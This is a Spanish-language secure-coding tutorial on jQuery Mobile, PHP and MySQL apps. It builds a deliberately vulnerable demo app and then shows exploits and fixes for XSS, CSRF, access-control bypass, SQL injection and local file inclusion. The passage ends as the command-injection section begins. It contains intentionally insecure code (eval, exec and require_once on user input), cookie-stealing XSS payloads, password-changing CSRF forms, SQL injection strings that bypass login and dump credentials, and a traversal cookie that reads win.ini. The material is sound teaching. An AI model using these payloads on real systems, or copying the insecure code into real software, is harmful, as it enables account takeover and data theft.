Mejore la seguridad de las aplicaciones Web con jQuery Mobile

Conozca cómo asegurar sus aplicaciones móviles

Muchos desarrolladores Web consideran la seguridad una baja prioridad. Con frecuencia la seguridad es relegada al final del ciclo de vida del desarrollo software, como un poco más que una idea de último momento. Algunas veces, la seguridad del software es completamente olvidada, resultando en aplicaciones llenas de vulnerabilidades comunes. Como tales errores pueden manifestarse sólo bajo condiciones presentes durante el ataque, pueden ser difíciles de detectar antes de dichos eventos cuando no se conoce cómo funciona el proceso de explotación. Utilizando una aplicación Web construida con jQuery Mobile, PHP y MySQL, este tutorial muestra cómo ocurren muchos tipos de vulnerabilidades, junto con los métodos de explotación y, lo más importante, sus contra-medidas respectivas.

John Leitch, Application Security Consultant, Freelance

John Leitch es consultor independiente de seguridad de aplicación que vive en Grand Rapids, Michigan. Trabaja principalmente con aplicaciones Web y se especializa en pruebas difusas, análisis de dinámica y revisión de código. Siempre está en la búsqueda de errores, y con frecuencia publica asesorías sobre vulnerabilidad.



14-06-2011

Antes de comenzar

Este tutorial es para desarrolladores jQuery Mobile interesados en asegurar sus aplicaciones. Se asume que el lector tiene conocimientos básicos relacionados al desarrollo de aplicaciones Web usando PHP, MySQL, JavaScript, XHTML y CSS. Además, este tutorial en ninguna forma es integral; tiene por objeto ser una introducción a la seguridad de aplicaciones Web. Para lecturas adicionales sobre los asuntos tratados aquí, para más otros temas relevantes, consulte los Recursos.

Acerca de este tutorial

Acrónimos de uso frecuente

  • API: Application program interface
  • CSRF o XSRF: Cross-site request forgery
  • CSS: Cascading Stylesheets
  • HTML: Hypertext Markup Language
  • HTTP: Hypertext Transfer Protocol
  • OS: Sistema operativo
  • SQL: Structured Query Language
  • URL: Uniform Resource Locator
  • W3C: World Wide Web Consortium
  • XHTML: Extensible Hypertext Markup Language
  • XML: Extensible Markup Language
  • XSS: Cross-site scripting

Con el surgimiento de los teléfonos inteligentes y de dispositivos similares, la seguridad de aplicaciones Web se ha ampliado para incluir más aplicaciones móviles. Debido a las limitaciones impuestas por las interfaces de muchos de estos dispositivos, algunas veces los desarrolladores trabajan bajo la errada suposición de que la validación de entradas del lado del cliente es suficiente protección contra los ataques. Sin embargo, las solicitudes enviadas por aplicaciones móviles necesitan ser manipuladas de la misma forma que las aplicaciones Web tradicionales. Debido a esta vulnerabilidad, no se puede confiar en el cliente. Con datos sensibles almacenados algunas veces en sus dispositivos y en los servidores que utilizan, la protección de los usuarios frente a ataques de piratas informáticos es crítica. Este tutorial muestra cómo se presentan diferentes tipos de vulnerabilidades y algunas de las contra-medidas que se pueden poner en práctica para mitigar a los atacantes que tratan de explotarlas. Se tratan los siguientes tipos de vulnerabilidades:

  • Cross-site scripting
  • Cross-site request forgery
  • Violación de control de acceso
  • Inyección de SQL
  • Inclusión de archivos
  • Inyección de comandos de OS
  • Inyección de lenguaje de scripting
  • Creación arbitraria de archivos

Todas las vulnerabilidades y contra-medidas se demuestran usando una aplicación de muestra compilada con jQuery Mobile, PHP y MySQL. (Vea Descargas donde hay un archivo .zip con el código de muestra).

Prerrequisitos

Necesitará las siguientes herramientas para completar este tutorial:

  • Servidor Web— Puede utilizar cualquier servidor Web con soporte PHP. Muchas de las vulnerabilidades explotadas a lo largo de este tutorial son específicas de Windows, pero se pueden adaptar para otros sistemas operativos. Los servidores Web sugeridos son Apache o el IBM HTTPServer.
  • PHP— Como algunos de los ataques sugeridos no funcionan contra la última versión, se utilizó el PHP 5.3.1. Dichas incompatibilidades de señalarán durante el tutorial.
  • MySQL— Este tutorial usa MySQL, una base de datos de fuente abierta. Para este tutorial se utilizó la versión 5.1.41, pero otras versiones también deben funcionar.
  • Proxy para depuración Web— Como se necesita alguna forma para manipular solicitudes HTTP, un proxy de depuración es bastante útil. A lo largo de este tutorial se utilizará Fiddler v2.3.2.4, pero cualquier otro proxy de depuración Web que permita la modificación de solicitudes funcionará.
  • jQuery Mobile— El primer plano de la aplicación de muestra construido en este tutorial utiliza jQuery Mobile 1.0 Alpha 3.

Consulte Recursos donde hallará enlaces útiles.


Creación de una aplicación insegura

Usted comenzará este tutorial creando una aplicación de ejemplo insegura llamada Contrived Mobile Application (CMA), que sirve como campo de prueba para los diferentes tipos de ataques que se tratan en las siguientes secciones. Para lograr esta prueba, la CMA tiene dos partes centrales de funcionalidad:

  • Un sistema de perfil del usuario para personalización
  • Una calculadora para efectuar aritmética básica

Cada elemento de la aplicación introduce agujeros de seguridad que los atacantes pueden utilizar para sus propios fines. Con cada vulnerabilidad cubierta, la CMA quedará con los parches apropiados en un intento para desalentar a piratas futuros.

El esquema

Siendo una aplicación centrada en el usuario, la CMA tiene un esquema simple que consiste en una tabla (vea el Listado 1).

Listado 1. Extracto del script de instalación de la CMA
CREATE TABLE UserAccount
(
Id INT NOT NULL PRIMARY KEY AUTO_INCREMENT,
Username VARCHAR(256) NOT NULL,
Password VARCHAR(32) NOT NULL,
    FirstName VARCHAR(256) NOT NULL,
    LastName VARCHAR(256) NOT NULL
);

INSERT INTO UserAccount (Username, Password, FirstName, LastName) 
VALUES ('Jane', md5('Password1'), 'Jane', 'Smith');

INSERT INTO UserAccount (Username, Password, FirstName, LastName) 
VALUES ('John', md5('Password1'), 'John', 'Doe');

Se crean dos usuarios, Jane y John. Para mantener las cosas simples, los niveles de permiso se han excluido.

Selección de idioma

La lógica de selección de idioma se ejecuta cada vez que se carga una página (vea el Listado 2).

Listado 2. Manejo inadecuado de la entrada pasada a require_once
if (isset($_COOKIE['language'])){    require_once($_COOKIE['language'] . ".php");    }

Primero, un argumento condicional verifica si hay alguna cookie de idioma presente. Si la hay, se adjunta la extensión PHP al valor de la cookie y la cadena de caracteres se pasa a la función require_once para cargar el script apropiado.

Autenticación y autorización

Luego usted añade algo de protección rudimentaria. Un formulario de inicio de sesión (vea la Figura 1) se crea junto con lógica de autenticación y autorización, y después de un inicio de sesión exitoso, el valor de sesión CurrentUser se define con el nombre de usuario del usuario autenticado. La lógica de autorización se implementa verificando este valor de sesión.

Figura 1. El formulario de inicio de sesión de la CMA
El formulario de inicio de sesión de la CMA

El Listado 3 muestra la creación de una lógica de autenticación insegura.

Listado 3. Lógica de autenticación insegura
<?php

function Authenticate($Username, $Password)
{
    $query = "SELECT COUNT(*) FROM useraccount " . 
        "WHERE Username = '" . $Username . "' AND " . 
        "Password = md5('" . $Password . "');";

    $result = mysql_query($query);

    $_SESSION["CurrentUser"] = $Username;

    return mysql_result($result, 0); 
}

?>

El Listado 4 muestra la creación de lógica de autorización insegura.

Listado 4. Lógica de autorización insegura
<?php

if (!isset($_SESSION["CurrentUser"]) || $_SESSION["CurrentUser"] == NULL)
{
    header("Location: login.php");
}

?>

Búsqueda de usuario

Ninguna aplicación centrada en el usuario está completa sin la capacidad para buscar a otros usuarios dentro del sistema. El recurso de búsqueda de usuario acepta palabras claves y devuelve coincidencias a manera de lista no ordenada (Figura 2). El Listado 5 muestra la lógica de búsqueda.

Listado 5. Manejo inseguro de datos ingresados por el usuario en la implementación de búsqueda de usuario
Query: <?php echo $query; ?>

<ul data-role="listview" data-theme="c" style="margin-top:12px;">
    <?php

    $query = "SELECT FirstName, LastName " .
        "FROM UserAccount " .
        "WHERE FirstName LIKE '%$query%' OR " .
        "LastName LIKE '%$query%';";

    $result = mysql_query($query) or die(mysql_error());;

    while ($row = mysql_fetch_assoc($result)) {                    
        echo "<li>" . $row["FirstName"] . " " . $row["LastName"] . "</li>";
    }

    ?>
</ul>

El Listado 5 realiza una variedad de funciones. Primero, responde la consulta ingresada por el usuario en la parte superior de la página para recordar a los usuarios aquello que están buscando. Después de eso, las condiciones de un argumento SELECT se compilan dinámicamente a partir de las palabras clave ingresadas por el usuario. El argumento SQL es pasado a mysql_query, y el script hace bucles por los resultados, haciendo eco de los datos pertinentes como lista de elementos HTML.

Figura 2. Resultados de una búsqueda de usuario
Resultados de una búsqueda de usuario

Calculadora

Como los usuarios pueden necesitar resolver problemas aritméticos básicos rápidamente, la CMA ofrece una calculadora. La calculadora consiste en tres entradas: x, y, y la operación. El Listado 6 muestra el código para resolver problemas aritméticos y mostrar los resultados.

Listado 6. Manejo inseguro de datos ingresados por el usuario en la implementación de calculadora
<?php

$operation = $_GET["operation"] == "operation-add" ?
    "+" : "-";

$arithmetic = "$_GET[x] $operation $_GET[y]";

echo $arithmetic . " = ";

$code = "echo $arithmetic;";

eval($code);

?>

Esta pieza del código primero revisa los datos GET para determinar qué operación seleccionó el usuario. Luego, construye el problema aritmético como una cadena de caracteres. Luego genera el resultado del problema completo de manera que el usuario pueda verlo, antes de interpretar como PHP la cadena de caracteres compilada dinámicamente.

La Figura 3 muestra la calculadora en acción.

Figura 3. La calculadora CMA procesando algunos números
La calculadora CMA procesando algunos números

Ahora que usted ha visto la calculadora CMA, cubriré la esencia de la aplicación: las preferencias de usuario.

Preferencias de usuario

La capacidad de personalización de la CMA es su mayor pieza de funcionalidad. Esta permite a los usuarios cambiar la información personal y cargar una fotografía para su perfil (vea el Listado 7).

Listado 7. manejo inseguro de de los datos ingresados por el usuario en la implementación de las preferencias de usuario
<?php

$message = "User preferences have been saved.";

$validated = TRUE;

$update = "UPDATE UserAccount " .
    "SET " .
    "FirstName = '$_REQUEST[firstname]', " .
    "LastName = '$_REQUEST[lastname]' ";
    
$password1 = $_REQUEST["newpassword1"];
$password2 = $_REQUEST["newpassword2"];

if ($password1 != NULL && $password1 != '')
{
    if ($password1 != $password2)
        $validated = FALSE;

    $update .= ", Password = md5('$password1') ";
}

$update .= "WHERE Id = $_REQUEST[userid]";

if ($validated)
    mysql_query($update) or die(mysql_error());

if (isset($_FILES["picture"]))
{
    $image = $_FILES["picture"]["tmp_name"];

    // For this example ping will be used as a mock image
    // compression tool.
    $compress_command = "ping $image $_REQUEST[imagecompression]";

    exec($compress_command);

    move_uploaded_file($image,
        "images/" . $_FILES["picture"]["name"]);
}

echo $message;

?>

El código del Listado 7 primero construye y ejecuta un argumento UPDATE para la tabla UserAccount. Si el usuario cargó una imagen, esta se procesa con una herramienta de prueba de compresión de imagen y luego se mueve al directorio de imágenes.

La Figura 4 muestra la interfaz de preferencias con los campos First Name, Last Name, New Password, Repeat New Password y Profile Picture.

Figura 4. La interfaz de preferencias de usuario mostrando la cuenta John Doe
La interfaz de preferencias de usuario mostrando la cuenta John Doe

Después de pasar por la funcionalidad relevante de la CMA, es hora de observar más de cerca su implementación. La próxima sección cubre las vulnerabilidades presentes, cómo alguien puede aprovecharlas y lo que usted puede hacer para evitar que lo hagan.


Cross-site scripting (XSS)

Un sitio Web es vulnerable a XSS cuando un pirata informático puede inyectar scripts del lado del cliente para atacar a otros usuarios. Hay dos tipos de XSS: reflejado y persistente. El concepto de que el XSS no es más que una molestia es comúnmente errado. En algunas instancias de XSS reflejado la amenaza es menor, pero en muchos casos deja a los usuarios vulnerables poniendo en riesgo su cuenta o algo peor.

XSS Reflejado

El XSS reflejado ocurre cuando los datos solicitados se presentan en la respuesta sin codificar y sin filtrar. Con la ayuda de la ingeniería social, un atacante puede engañar a un usuario para que visite una página que crea una solicitud de estas, permitiendo al atacante ejecutar JavaScript en el contexto de un usuario objetivo. Lo que se puede hacer después de esto varía dependiendo de la naturaleza del agujero, pero el XSS generalmente es aprovechado para secuestrar sesiones, robar credenciales o para efectuar acciones no autorizadas de otra naturaleza.

Persistente

Siendo normalmente una amenaza mayor a la del tipo reflejado, una vulnerabilidad XSS se considera persistente cuando el servidor guarda los datos de la solicitud ingresados por el usuario. Como los datos maliciosos son persistidos dentro de la aplicación, el aspecto de ingeniería social del ataque es más simple o incluso eliminado, dependiendo de cómo se aproveche.

Aprovechamiento

La CMA es cargada con vulnerabilidades XSS; la búsqueda de usuario por sí sola tiene ambos tipos, el reflejado y el persistente. El aprovechamiento del tipo reflejado se muestra aquí:
http://localhost/CMA/insecure/search.php?query=%3Cscript%3Ealert (document.cookie)%3C/script%3E

Los efectos del ataque de XSS reflejado son visibles inmediatamente al navegar hacia el enlace, a menos que se ubiquen contra-medidas del lado del cliente :
Query: <script>alert(document.cookie)</script>

En un navegador se pueden construir recursos anti-XSS, como en el® Internet Explorer® 8 de Microsoft, o se pueden instalar como un plug-in, como el noXSS para Firefox. Para sus propósitos, no se pueden considerar los filtros del lado del cliente dado que usted no puede confiar en que los usuarios los tengan instalados, y en muchos casos estos sólo protegen del tipo reflejado. En algunas instancias, el filtrado del lado del cliente realmente es contraproducente, pues introduce vulnerabilidades XSS universales (UXSS). Un ejemplo de esto fue en Internet Explorer 8 antes de que Microsoft pusiera un parche al agujero.

Para ver el XSS persistente en acción, inserte las etiquetas de script mostradas aquí en el campo First Name o Last Name del formulario User Preferences y luego haga una búsqueda del usuario:
<script>alert(document.cookie)</script>

El JavaScript se ejecuta cuando el usuario es mostrado en los resultados de búsqueda.

Prevenga el cross-site scripting

Detener los ataques XSS usualmente es cuestión de aplicar la codificación adecuada a la entrada del usuario en la respuesta del servidor. Para el ejemplo de XSS reflejado en la búsqueda de usuario, aplicar codificación de entidad HTML debería ser suficiente para prevenir acciones maliciosas. Usted puede dar este paso con la API PHP usando la función htmlentities: Query: <?php echo htmlentities($query); ?>.

Al probar el ataque contra el código actualizado produce un resultado diferente:
Query: <script>alert(document.cookie)</script>

Los caracteres mayor que y menor que ahora están codificados en entidad HTML, evitando que el atacante inyecte marcación. La vulnerabilidad persistente se soluciona de la misma forma (vea el Listado 8) con la función htmlentities .

Listado 8. Una modificación de la CMA para prevenir XSS persistente
while ($row = mysql_fetch_assoc($result)) 
{					
echo "<li>" . htmlentities($row["FirstName"]) . " " . 
htmlentities($row["LastName"]) . "</li>";					
}

Cuando los datos ingresados por el usuario se inyectan en un valor de atributo HTML, tenga cuidado de asegurarse que los delimitadores de cadena de caracteres utilizados para encerrar el valor estén desprovistos o codificados dentro del valor mismo. En caso contrario, puede presentarse inyección de atributos:
<a href='http://www.mywebsite.com/'>My Website</a>

El Listado 9 muestra cómo puede ocurrir la inyección de atributos.

Listado 9. Inyección de atributos, permitida por la falta de codificación con comillas sencillas
<a href='http://www.mywebsite.com/'onmouseover='alert(document.cookie)
'>My Website</a>

Como una capa adicional de seguridad, habilitar la bandera HttpOnly del encabezado de respuesta Set-Cookie evita que los scripts del lado del cliente accedan a la cookie protegida. No obstante, usted no puede depender de esta característica, pues algunos navegadores no la soportan completamente.

La siguiente sección cubre otra vulnerabilidad frecuente que puede utilizarse para lanzar ataques del lado del cliente contra otros usuarios de un sistema.


Cross-site request forgery (CSRF o XSRF)

La CSRF ocurre cuando un atacante engaña a los usuarios para que ejecuten acciones dentro de su contexto de seguridad. Si no se han establecido medidas de seguridad, los piratas informáticos pueden hacer esto sin importar si el método de formulario es GET o POST. Entre los dos, los ataques CSRF que usan el método GET son la mayor amenaza porque la solicitud puede falsificarse usando tan solo un URL que el atacante puede usar como la fuente de una imagen. Si el ataque tiene la capacidad para establecer arbitrariamente la fuente de una imagen dentro del sistema, los piratas pueden aprovechar esto para lanzar un ataque de falsificación de solicitud on-site (OSRF).

Aprovechamiento

así cualquier acción en la CMA puede recrearse como un ataque CSRF. El Listado 10 es un ejemplo de un ataque basado en GET que cambia la contraseña del usuario por new_password.

Listado 10. Ejemplo de CSRF cambiando una contraseña
<html>
    <body>
        <img
src="http://localhost/CMA/insecure/preferences.php?firstname=John&lastname
=Doe&newpassword1=new_password&newpassword2=new_password&userid
=2&imagecompression=5" />
    </body>
</html>

Si el método GET no funciona, el atacante puede intentar falsificar una solicitud usando un POST (vea el Listado 11).

Listado 11. Ejemplo de CSRF cambiando una contraseña usando el método POST
<html>
   <body onload="document.forms[0].submit()">
       <form method="POST" action="http://localhost/CMA/insecure/preferences.php">
           <input type="hidden" name="firstname" value="John" />
           <input type="hidden" name="lastname" value="Doe" />
           <input type="hidden" name="newpassword1" value="new_password" />
           <input type="hidden" name="newpassword2" value="new_password" />
           <input type="hidden" name="userid" value="2" />
           <input type="hidden" name="imagecompression" value="5" />
       </form>
   </body>
</html>

El resultado al visualizar el HTML presentado en el Listado 11 es la creación de una solicitud que es idéntica a la del usuario legítimo actualizando sus preferencias de usuario, pero todos los valores de formulario son controlados por el atacante.

Prevenga el cross-site request forgery

Usted puede prevenir el CSRF mediante algunos procedimientos comunes. La forma más fácil de implementar es revisar el referente en la solicitud HTTP (vea el Listado 12); si la solicitud no es de una fuente confiable, será rechazada. Entre más granular sea la verificación de referente, mejor será la seguridad.

Listado 12. Implementación básica de una verificación de referente
if (strpos($_SERVER["HTTP_REFERER"], $app_host . $app_path) != 0 &&
strpos($_SERVER["HTTP_REFERER"], $app_path) != 0)
die("Solicitud inválida");

Sin embargo, este enfoque no es infalible. Una contra-medida más segura es el uso de una señal de seguridad. Con cada formulario protegido, el servidor incluye un valor de señal largo y lo suficientemente aleatorio. Cada valor de señal es rastreado del lado del servidor para asegurarse de que es utilizado sólo una vez y que expira después de un tiempo determinado. Al presentarse el formulario, si el valor está ausente, si es inválido o si ha expirado, la solicitud se rechaza sobre la base de que muy posiblemente esté falsificado. Sin la capacidad para adivinar el valor de la señal, los atacantes no pueden elaborar un ataque. Si este mecanismo de seguridad se aplica a cada página de la aplicación, también sirve para prevenir XSS reflejados.

En las siguientes secciones, usted observará los diferentes tipos de vulnerabilidades del lado del servidor.


Violación de control de acceso

os problemas de control de acceso a menudo se pasan por alto porque en la mayoría de los casos, el control de acceso no se puede comprobar fácilmente usando herramientas automatizadas. Una aplicación tiene violación de control de acceso cuando usuarios no autenticados o no autorizados pueden acceder a recursos a los cuales se les debería haber negado el permiso. Este problema sucede con frecuencia cuando los desarrolladores tratan de proteger recursos dirigidos a usuarios autorizados ocultando los URLs de los usuarios no privilegiados. El suponer que sólo esta medida protege un recurso es erróneo: un atacante aún puede descubrir el URL por otros medios, como por inferencia. Además, los usuarios que pierden privilegios todavía pueden estar en capacidad para accesar a recursos no autorizados con URLs que hayan guardado.

Aprovechamiento

La CMA tiene dos vulnerabilidades relacionadas con el control de acceso: evasión de autenticación y escalamiento de privilegios. El error de autenticación proviene de no terminar la ejecución al encontrar el usuario que no será autenticado. Tratar de efectuar una acción prohibida (vea el Listado 13) en un navegador, da como resultado una conducta aparentemente esperada: El navegador es re-dirigido a la página de inicio de sesión.

Listado 13. Solicitud no autenticada de recursos privilegiados
POST http://localhost/CMA/insecure/preferences.php HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 107
Cache-Control: max-age=0
Origin: null
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 
  (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8
  ,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

firstname=John&lastname=Doe&newpassword1=new_password&newpassword2
=new_password&userid=2&imagecompression=5

Como muestra el Listado 14 , al examinar el tráfico usando un proxy depurador Web como Fiddler, revela que está sucediendo algo más.

Listado 14. Extracto de la respuesta que muestra que el intérprete no terminó adecuadamente la ejecución
HTTP/1.1 302 Found
Date: Sat, 19 Mar 2011 23:14:44 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l 
 mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: login.php
Content-Length: 1138
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
...

Mientras que el servidor respondió con un código de estado 302, el cuerpo de las respuestas contiene todo lo que un usuario autenticado recibe. Adicionalmente, el cambio de contraseña fue exitoso y la cuenta objetivo fue comprometida.

Aparte de la vulnerabilidad de evasión de autenticación, la CMA contiene otro problema de control de acceso el escalamiento de privilegios. Cada vez que un usuario actualiza su perfil, el Id de la cuenta del usuario, almacenado en un campo oculto del formulario como se muestra aquí, se presenta junto con el formulario:
<input type="hidden" name="userid" id="userid" value="2" />

Cuando el formulario se envía de nuevo al servidor no se efectúa validación para confirmar que el Id presentado es el del usuario actual verdadero, antes de utilizar el valor para cargar el registro de la base de datos. Un usuario malicioso puede usar herramientas de desarrollo Web basadas en servidor para cambiar el valor de un campo oculto antes de presentar el formulario, o alterar la solicitud utilizando un proxy para depuración Web para especificar un Id arbitrario, permitiendo al usuario malicioso hacer cambios a cuentas de usuario diferentes a la suya.

Prevenga las violaciones de control de acceso

Para prevenir la evasión de autenticación, asegúrese de que la ejecución de su lógica de aplicación protegida no se ejecute si una verificación de autenticación o de autorización falla. Con PHP, es importante recordar que configurar el campo Setting de la respuesta usando la función de encabezado, no termina la ejecución. El Listado 15 muestra código de aplicación que termina adecuadamente.

Listado 15. Código de autorización mejorado
<?php

if (!isset($_SESSION["CurrentUser"]) || $_SESSION["CurrentUser"] == NULL)
{
    header("Location: login.php");

    exit;
}

?>

Si se determina que el usuario no es autorizado, la función exit es llamada después de que se establece el encabezado Location. Este paso evita que se ejecute el resto del script.

Para eliminar el escalamiento de privilegios, asegúrese de que se ejecute la autorización adecuada para cada acción privilegiada. Evite almacenar datos del lado del cliente cuando se puedan almacenar del lado del servidor. El ID de usuario en el Listado 15 es un buen ejemplo de datos que pueden almacenarse en la sesión. Parte de la corrección se muestra aquí:
$update .= "WHERE Id = $_SESSION[userid]";

Lo siguiente es la inyección de SQL, una vulnerabilidad bien conocida con un amplio rango de consecuencias potenciales.


Inyección de SQL

A pesar de que cada vez se conoce más, la inyección de SQL continúa siendo un problema. Las consecuencias de una inyección exitosa de SQL varían dependiendo de la vulnerabilidad. Algunas de las amenazas que se pueden introducir son estas:

  • Revelación de datos
  • Modificación de los datos existentes
  • Inserción de datos nuevos
  • Acceso arbitrario al sistema de archivos
  • Acceso arbitrario a la red
  • Sistema puesto en riesgo

Aprovechamiento

Cada consulta en la CMA es vulnerable a inyección de SQL, así que usted trabajará varios vectores de entrada. Al inyectar una condición y comentar el resto de la consulta mediante el campo de nombre de usuario, se puede evadir la autenticación. El Listado 16 muestra la consulta como se pretendía.

Listado 16. El argumento SELECT cuando John y Password1 se ingresan como credenciales de usuario
SELECT COUNT(*) FROM UserAccount 
WHERE Username = 'John' AND  Password = md5('Password1');

El Listado 17 muestra cómo se vería el argumento cuando se utiliza una cadena de caracteres maliciosa para inyectar código en la primera condición.

Listado 17. El argumento select cuando 'or 1=1;# y una contraseña vacía se ingresan como credenciales
SELECT COUNT(*) FROM UserAccount 
WHERE Username = ''or 1=1;#' AND  Password = md5('');

Como 1 siempre es igual a 1 y la condición de verificación de contraseña es comentada por el caracter del signo número (#), la consulta del Listado 17 retorna el conteo de todos los registros en la tabla UserAccount. Si el conteo no es cero, el valor retornado de la función Authenticate se evalúa como verdadero, garantizando acceso al pirata.

La funcionalidad de búsqueda de usuario es vulnerable de una forma que puede explotarse para extraer datos arbitrarios, entre otras cosas. El Listado 18 muestra la consulta de búsqueda como se pretendía que funcionara.

Listado 18. Consulta de búsqueda de usuario bajo condiciones normales
SELECT FirstName, LastName FROM UserAccount 
WHERE FirstName LIKE '%John%' OR LastName LIKE '%John%';

Al utilizar el operador UNION, los atacantes pueden adjuntar una consulta totalmente nueva para capturar los datos que deseen:
'and 1=0 UNION SELECT Username, Password FROM UserAccount;#

El Listado 19 muestra la consulta generada dinámicamente después de presentar una cadena de caracteres de ataque.

Listado 19. La consulta de búsqueda de usuario después de la inyección de SQL
SELECT FirstName, LastName FROM UserAccount 
WHERE FirstName LIKE '%'and 1=0 UNION SELECT Username, 
Password FROM UserAccount;#%' OR LastName LIKE '%'and 1=0 
UNION SELECT Username, Password FROM UserAccount;#'";

El ataque produce un resumen del nombre de usuario y contraseña para cualquier usuario de la base de datos (vea la Figura 5).

Figura 5. Resultado de una inyección exitosa usando el operador UNION
Resultado de una inyección exitosa usando el operador UNION

Prevenga las inyecciones de SQL

Para prevenir la inyección de SQL, usted debe escapar y validar adecuadamente todas las entradas presentadas por el usuario. La mayoría de las APIs para desarrollo Web incluyen funciones para lograr esto. Con PHP y MySQL, use consultas parametrizadas junto con mysql_real_escape_string para valores de cadena de caracteres, para protegerse de muchos ataques (vea el Listado 20).

Listado 20. Código de autenticación actualizado utilizando las medidas preventivas ofrecidas por la API PHP
$query = sprintf("SELECT COUNT(*) FROM useraccount " . 
    "WHERE Username = '%s' AND " . 
    "Password = md5('%s');",
    mysql_real_escape_string($Username),
    mysql_real_escape_string($Password));

Como muestra el Listado 21 , la evasión de autenticación ya no funciona debido al escape del delimitador al comienzo de la cadena de caracteres de ataque.

Listado 21. Un intento de inyección con la nueva corrección en su lugar
SELECT COUNT(*) FROM useraccount 
WHERE Username = '\'or 1=1;#' AND Password = md5('');

Es importante usar el especificador de tipo correcto den la cadena de caracteres del formato. Convertir el tipo esperado proporciona una capa de protección adicional (vea el Listado 22).

Listado 22. Creando una consulta de forma segura usando un entero de fuente desconocida
$query = sprintf("SELECT * FROM useraccount WHERE Id = %d", (int)$_GET['id']);

La siguiente sección analiza la Inclusión de Archivos, un tipo de error que es común en las aplicaciones Web PHP.


Inclusión de archivos

Hay dos tipos de inclusión de archivos: remota y local. Como su nombre lo indica, este tipo de vulnerabilidad permite a un atacante incluir archivos de forma arbitraria. Así el resultado sea la revelación del contenido del archivo o su ejecución como código, esto depende de la naturaleza del aprovechamiento. Con PHP, la inclusión de archivos generalmente no es posible si allow_url_fopen está desactivada en el archivo php.ini.

Aprovechamiento

La cookie de idioma en la CMA es vulnerable a la inclusión de archivos locales y, si el servidor está configurado para permitir la apertura de URLs, para inclusión remota de archivos. Al pasar una serie de secuencias transversales junto con una carpeta y archivo por fuera del webroot, seguidos por un byte nulo para terminar la cadena de caracteres, se pueden incluir archivos arbitrarios. El Listado 23 muestra una solicitud maliciosa que incluye el archivo win.ini.

Listado 23. Una solicitud maliciosa que intenta recuperar el archivo win.ini del servidor
GET http://localhost/cma/insecure/index.php HTTP/1.1
Host: localhost
Connection: keep-alive
Referer: http://localhost/cma/insecure/index.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML,
  like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
  image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: language=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2fwin.ini%00

El Listado 24 muestra la respuesta del servidor.

Listado 24. Respuesta del servidor mostrando un ataque exitoso
HTTP/1.1 200 OK
Date: Sun, 20 Mar 2011 20:59:41 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l 
mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Set-Cookie: PHPSESSID=39q2aarl86t01j697vrb6ekjf2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 6142
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
m2v=MPEGVideo
mod=MPEGVideo
[Trimmed]

Note que el envenenamiento con byte nulo de las vías de acceso ya no funciona en el PHP 5.3.4. Aunque en algunas instancias esto no es requerido, de manera que no considere esta como la única corrección para vulnerabilidades de inclusión de archivos.

Aparte de mostrar el contenido de archivos arbitrarios, la inclusión de archivos algunas veces puede usarse para engañar al servidor para que interprete tipos de archivo arbitrarios (como jpgs) como código.

Prevenga la inclusión de archivos

De ser posible, evite pasar entradas de usuario a ninguna función que lea o incluya archivos. Si no se puede evitar este enfoque, intente tomar un enfoque de lista blanca para validar los datos, como se hace en el Listado 25. Si el número de valores válidos es demasiado grande para una lista blanca, revise cualquier secuencia transversal o bytes nulos y rechace la solicitud (no intente desinfectarla). Asegúrese de que el servidor adjunte la extensión del nombre de archivo ingresado por el usuario.

Listado 25. Código actualizado para selección de idioma que bloquea ataques de inclusión de archivos
$languages = array(    "en-us",    "en-ca");if (isset($_COOKIE['language']))
{    if (in_array($_COOKIE['language'], $languages)     
require_once($_COOKIE['language'] . ".php");
else
die("Invalid language.");}

Como el código actualizado sólo permite valores de cookie contenidos dentro del array de idiomas, los usuarios ya no pueden aprovechar la funcionalidad de selección de idioma para incluir archivos arbitrarios.

Aunque la inclusión de archivos arbitrarios es una amenaza grave, las consecuencias de los ataques que se describirán en las próximas secciones pueden ser incluso más severas.


Inyección de comandos de OS

Como se esperaría, la inyección de un comando de OS es una amenaza muy seria. Si la entrada del usuario es pasada a una función que ejecute comandos de sistema operativo, tenga mucho cuidado de asegurarse que el escape de los datos sea adecuado.

Aprovechamiento

La compresión de la imagen simulada de la funcionalidad de preferencias de usuario es vulnerable a inyección de comandos de OS. Los comandos pueden ser inyectados pasando el caracter de conexión (|) seguido por un comando malicioso que utilice los datos de compresión de imagen en el cuerpo de la solicitud (vea el Listado 26).

